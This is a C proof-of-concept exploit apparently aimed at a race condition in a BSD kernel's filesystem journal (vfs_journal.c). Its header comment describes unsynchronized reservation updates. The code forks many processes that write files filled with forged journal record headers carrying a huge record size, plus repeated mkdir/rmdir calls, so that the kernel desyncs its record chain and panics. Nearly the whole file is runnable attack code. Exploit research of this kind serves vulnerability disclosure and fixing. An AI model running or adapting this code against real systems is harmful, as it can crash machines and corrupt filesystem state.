DF-2747 / df2747.c
/* * DF-2747 PoC: hammer the journal memfifo reservation path from many * processes concurrently. journal_reserve()/journal_extend()/ * journal_commit() do unsynchronized RMW on jo->fifo.windex and * jo->transid (vfs_journal.c:527-585), so concurrent VOPs on the * journaled mount overlap reservations and corrupt the raw record * chain that journal_wthread() parses (vfs_journal.c:236-243). * * Payload contains forged journal_rawrecbeg headers (begmagic 0x1234, * huge recsize) so a desynced chain walk that lands in the payload * takes a giant step -> KKASSERT(res == avail) panic / rindex desync. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/wait.h> #include <sys/stat.h> static void fill_poison(unsigned char *buf, int len) { int off; /* forged journal_rawrecbeg, 32-byte stride: * u16 begmagic=0x1234, u16 streamid=2, i32 recsize=0x7ffffff0, * i64 transid=0x4141414141414141 */ for (off = 0; off + 16 <= len; off += 32) { buf[off+0] = 0x34; buf[off+1] = 0x12; /* begmagic */ buf[off+2] = 0x02; buf[off+3] = 0x00; /* streamid */ buf[off+4] = 0xf0; buf[off+5] = 0xff; /* recsize lo */ buf[off+6] = 0xff; buf[off+7] = 0x7f; /* recsize hi */ memset(buf + off + 8, 0x41, 8); /* transid */ memset(buf + off + 16, 0x42, 16); /* payload */ } } int main(int ac, char **av) { int nproc = atoi(av[1]); int iters = atoi(av[2]); const char *dir = av[3]; int i, j; for (i = 0; i < nproc; i++) { pid_t pid = fork(); if (pid == 0) { unsigned char poison[512]; fill_poison(poison, sizeof(poison)); for (j = 0; j < iters; j++) { char path[256]; int fd; snprintf(path, sizeof(path), "%s/r%d_%d", dir, i, j); fd = open(path, O_CREAT|O_EXCL|O_WRONLY, 0666); if (fd >= 0) { if (write(fd, poison, sizeof(poison)) < 0) perror("write"); if ((j & 3) == 0 && write(fd, poison, sizeof(poison)) < 0) perror("write2"); close(fd); } if ((j & 7) == 7) { snprintf(path, sizeof(path), "%s/d%d_%d", dir, i, j); if (mkdir(path, 0777) == 0) rmdir(path); } } _exit(0); } } for (i = 0; i < nproc; i++) { int status; wait(&status); } printf("HAMMER DONE (%d procs x %d iters)\n", nproc, iters); return 0; } |